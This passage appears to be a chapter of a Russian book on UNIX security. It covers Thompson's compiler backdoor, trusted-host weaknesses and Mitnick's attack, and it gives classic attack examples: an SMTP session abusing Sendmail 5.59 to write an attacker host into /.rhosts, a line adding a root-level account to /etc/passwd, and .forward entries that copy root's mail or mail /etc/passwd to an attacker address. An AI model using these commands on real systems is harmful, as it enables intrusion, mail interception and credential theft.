И тут всплывает знаменитый парадокс брадобрея, звучащий так - «если брадобрей бреет бороды тем, и только тем, кто не бреется сам, может ли он брить бороду сам себя»? Конечно же, нет, ведь он бреет только тех, кто не бреется сам. Но если он не бреется сам, что мешает ему побриться? Словом, получается бесконечный рекурсивный спуск.

Применительно к защите - о защищенности системы ничего нельзя сказать до тех пор, пока кому-либо ее не удастся взломать. И в самом деле, - вдруг дыра есть, но до сих пор никто не успел обратить на нее внимание? Уязвимость системы определяется наличием дыры. А защищенность? Интуитивно понятно, защищенность прямо противоположна уязвимости. Но сделать такой вывод можно только после обнаружения признака уязвимости! То есть - существует формальный признак уязвимости системы, но не существует признака ее защищенности. В этом-то и заключается парадокс!

Врезка «история»

"Нельзя доверять программам, написанным не вами самими. Никакой объем верификации исходного текста и исследований не защитит вас от использования ненадежного (untrusted) кода. По мере того как уровень языка, на котором написана программа, снижается, находить эти ошибки становится все труднее и труднее. "Хорошо продуманную" (well installed) ошибку в микрокоде найти почти невозможно [107]” - произнес Кен Томпсон в своем докладе, зачитанным им в 1983 году на ежегодном съезде Американской ассоциации компьютерной техники.

Доклад был посвящен вопросам внесения тонких ошибок в код компилятора и заслужил премии Тьюринга, навсегда войдя в кремневую историю одним из самых талантливых взломов всех времен и народов.

Доступность исходных текстов операционной системы UNIX и большинства приложений, созданных для нее, привела к тому, что «разборы полетов», как правило, начинались и заканчивались анализом исходных текстов, но не откомпилированных машинных кодов (правда, вирус Морриса все же потребовал трудоемкого дизассемблирования, но это уже другая история). Компилятор же считался бесстрастным, безошибочным, непротиворечивым творением.

И вот Томпсона озарила блестящая идея, - научить компилятор распознавать исходный текст стандартной программы login, и всякий раз при компиляции добавлять в нее специальный код, способный при вводе секретного пароля (известный одному Томпсону) пропускать его в систему, предоставив привилегированный доступ.

Обнаружить подобную лазейку чрезвычайно трудно (да кому вообще придет в голову дизассемблировать машинный код, если есть исходные тексты?), но все же возможно. Внеся исправления в исходный текст компилятора, приходится компилировать его тем же самим компилятором…

А почему бы, подумал Томпсон, не научить компилятор распознавать себя самого и во второе поколение вносить новые изменения? Если нет заведомо «чистого» компилятора ситуация становиться безвыходной! (ну не латать же программу в машинном коде!).

Понятное дело, к удаленному вторжению такая атака никакого отношения не имеет (для внесения закладок в программное обеспечение нужно, по крайней мере, быть архитектором системы). Но все же квалифицированный злоумышленник способен создать приложение, имеющее все шансы стать популярным и расползтись по сотням и тысячам компьютеров. Поэтому, угроза атаки становится вполне осязаемой и реальной.

На каком же основании выдаются сертификаты, определяются защищенные системы? Забавно, но ни на каком. Выдача сертификата - сугубо формальная процедура, сводящаяся к сопоставлению требований, предъявленных к системе данного класса с заверениями разработчиков. То есть - никакой проверки в действительности не проводится (да и кто бы стал ее проводить?). Изучается документация производителя и на ее основе делается вывод о принадлежности системы к тому или иному классу защиты. Конечно, это очень упрощенная схема, но, тем не менее, никак не меняющая суть - сертификат сам по себе еще не гарантирует отсутствие ошибок реализации, и ничем, кроме предмета гордости компании, служить не может. Практика показывает, - многие свободно распространяемые клоны UNIX обгоняют своих сертифицированных собратьев в защищенности и надежности работы.

Другая уязвимость заключается в наличие так называемых доверенных хостов, то есть узлов, не требующих аутентификации. Это идет вразрез со всеми требованиями безопасности, но очень удобно. Кажется, если «по уму» выбирать себе «товарищей» ничего плохого случиться не может, конечно, при условии, что поведение всех товарищей окажется корректным. На самом же деле сервер всегда должен иметь способ, позволяющий убедится, что клиент именно тот, за кого себя выдает. Злоумышленник может изменить обратный адрес в заголовке IP пакета, маскируясь под доверенный узел. Конечно, все ответы уйдут на этот самый доверенный узел мимо злоумышленника, но атакующего может и вовсе не интересовать ответ сервера - достаточно передать команду типа «echo "kpnc::0:0:Hacker 2000:/:"» /etc/passwd» [108] и систему можно считать взломанной.

Наконец, можно попробовать проникнуть в доверенные хосты или к доверенным доверенных… чем длиннее окажется эта цепочка, тем больше шансов проникнуть в систему. Иногда приходится слышать, якобы каждый человек на земле знаком с любым другим человеком через знакомых своих знакомых. Конечно, это шутка (Вы знакомы с Билом Гейтсом?), но применительно к компьютерным системам… почему бы и нет?

Обычно список доверительных узлов содержится в файле “/etc/hosts.equiv” или “/.rhosts”, который состоит из записей следующего вида “[имя пользователя] узел”. Имя пользователя может отсутствовать, - тогда доступ разрешен всем пользователям с указанного узла. Точно такого результата можно добиться, задав вместо имени специальный символ “+”. Если же его указать в качестве узла - доступ в систему будет открыт отовсюду.

Небезызвестный Кевин Митник в своей атаке против Цутому Шимомуры, прикинувшись доверительным узлом, послал удаленной машине следующую команду “rsh echo + +»/.rhosts”, открыв тем самым доступ в систему. Любопытно, но схема атаки была не нова - задолго до Митника, Моррис - старший предсказал ее возможность, поместив подробный технический отчет в февральский номер журнала Bell Labs, выпушенный в 1985 году (Митник же атаковал Шимомору в декабре 1994 - практически на десятилетие позже). Доподлинно не известно знал ли он о существовании статьи Морриса или до всего додумался самостоятельно, приоритет остается все равно не за ним.

Другая классическая атака основана на дырке в программе SendMail версии 5.59. Суть ее заключалась в возможности указать в качестве получателя сообщения имя файла “.rhosts”. В приведенном ниже протоколе, читателю, возможно, встретятся незнакомые команды (детально описанные в главе «Протоком SMTP»), но подробные комментарии должны помочь разобраться в механизме атаки даже неподготовленным пользователям.

· # Соединяется с узлом - жертвой [109] по протоколу SMTP с 25 портом

· telnet victim.com 25 · · #Указываем в качестве адреса получателя сообщения имя файла “/.rhosts” · rcpt to: /.rhosts · · #Указываем адрес отправителя сообщения · mail from: [email protected] · · #Начинам ввод текста сообщения · data · · #Вводим любой текст (он будет проигнорирован) · Hello! · · #Точка завершает ввод сообщения ·. · · #Новое сообщение · #Указываем в качестве адреса получателя имя файл “/.rhosts” · rcpt to: /.rhosts · · #Указываем адрес отправителя сообщения · mail from: [email protected] · · #Начинам ввод текста сообщения · data · · #Вводим имя собственного хоста или любого другого хоста, к которому есть доступ · evil.com · · #Точка завершает ввод сообщения ·. · · #Завершение транзакции и выход · quit

С этого момента взлом можно считать завершенным. Остается подключится к удаленному узлу и делать на нем все, что заблагорассудиться. Все, за исключением, невозможности посредством протокола rlogin войти под статусом супер-пользовтаеля.

Однако подобные атаки слишком заметны и вряд ли останутся безнаказанными. В UNIX, как и в большинстве других сетевых операционных систем, все потенциально опасные действия (будь то копирование файла паролей или создание нового пользователя) протоколируется, а замести за собой следы не всегда возможно - изменения в файлах протокола могут незамедлительно отсылаться на почтовый ящик администратора, или даже на пейджер [110]!

Тем более, “/.rhosts” это не тот файл, в который никто и никогда не заглядывает. В том же случае с Митником - модификация “/.rhosts” не осталось незамеченной. Гораздо халатнее большинство администраторов относятся к вопросам безопасности личной почты. А ведь злоумышленнику ничего не стоит так изменить файл “/.forward”, перехватывая чужую личную почту, в том числе и root-а. Конечно, наивно ожидать увидеть в почте пароли, но, тем не менее, полученная информация в любом случае значительно облегчит дальнейшее проникновение в систему, и даст простор возможностей для социальной инженерии. Подробнее об конфигурировании SendMail можно прочесть в прилагаемом к нему руководстве и в главе «Почтовый сервер изнутри».

Ниже приведен пример записи, которую необходимо добавить в файл “/.forward” для перехвата почты администратора (при условии, что его почтовый адрес выглядит как [email protected]). Теперь все письма, поступающие администратору системы, будут дублироваться на адрес [email protected]

· \root, [email protected], [email protected]

Точно такую операцию можно проделать и со всеми остальными пользователями системы. Для этого достаточно изменить файлы “.forward”, находящиеся в их домашних каталогах, а, поэтому, обычно не контролируемые администратором. Опытные пользователи могут самостоятельно редактировать свои конфигурационные файлы. Поэтому, за всеми уследить невозможно, - откуда администратору знать, кто внес эти изменения - легальный пользователь или злоумышленник? Конечно, в приведенном выше примере все довольно прозрачно, но если не трогать файлы администратора, велики шансы того, что проникновение в систему станет замеченным не скоро, если вообще будет замечено.

Кстати, если есть доступ к файлу “.forward”, то, добавив в него строку типа “|/bin/mail/ [email protected] «/etc/passwd”, можно попробовать получить требуемый файл с доставкой на дом. (В приведенном примере содержимое файла /etc/passwd будет оправлено по адресу [email protected]). Как нетрудно догадаться, здесь замешен конвейер и перенаправления ввода-вывода, подробно описанные в главе «Устройство конвейера и перенаправление ввода-вывода».

Конечно, главное условие успешности такой атаки - наличие дыр в каком-либо приложении, выполняющемся на удаленной машине. Сегодня все очевидные дыры уже залатаны, и слишком уж наивных ляпов от разработчиков ожидать не приходится. Тем не менее, те или иные ошибки выявляются чуть ли не ежедневно. Чтобы удостоверится в этом, достаточно заглянуть на любой сайт, посвященный информационной безопасности (например, www.rootshell.com). Разумеется, открытые дыры существует недолго, - на сайте разработчиков периодически появляются исправления, а новые версии выходят уже с исправленными ошибками.

Вся надежда злоумышленника на халатность администратора, не позаботившегося установить свежие заплатки. Но на удивление таковых оказывается много, если не большинство. И огромное число успешных взломов - лишнее тому подтверждение. Шансы взломщика необыкновенно возрастают, если он обладает квалификацией достаточной для самостоятельного поиска дыр в системе. Подробнее об этом рассказано в главе «Технология срыва стека».

Итак, архитектура ядра UNIX позволяет некорректно работающим приложениям предоставить злоумышленнику привилегированный доступ в систему, поэтому потенциально любая UNIX - уязвима. Учитывая сложность современных программ и качество тестирования программного кода ошибки просто неизбежны. Для сравнения, программное обеспечение, используемое в космической технике, содержит менее одной ошибки на 10 тысяч строк кода. Типовая конфигурация сервера, работающего под управлением UNIX, может состоять более чем из миллиона строк исходного кода. Таким образом, в сложных приложениях, ошибки всегда гарантировано есть. Не факт, что хотя бы одна из них может привести к получению несанкционированного доступа, но очень, очень часто так именно и происходит.

А если еще вспомнить недостаточно качественную реализацию базовых протоколов TCP/IP (в той же 4 BSD UNIX), можно вообще удивиться, как UNIX после всего этого ухитряется работать. Спектр возможных целей атаки очень широк и не может быть полностью рассмотрен в рамках одной книги.

– Гуси спасли Рим, но никто не задумывается о их дальнейшей судьбе. А ведь гуси попали в суп. В спасенном же Риме. Так что на их судьбе факт спасения Рима никак не отразился. Представляете, что говорили их потомки: наш дедушка спас Рим, а потом его съели.".

Кир Булычев “Тринадцать лет пути”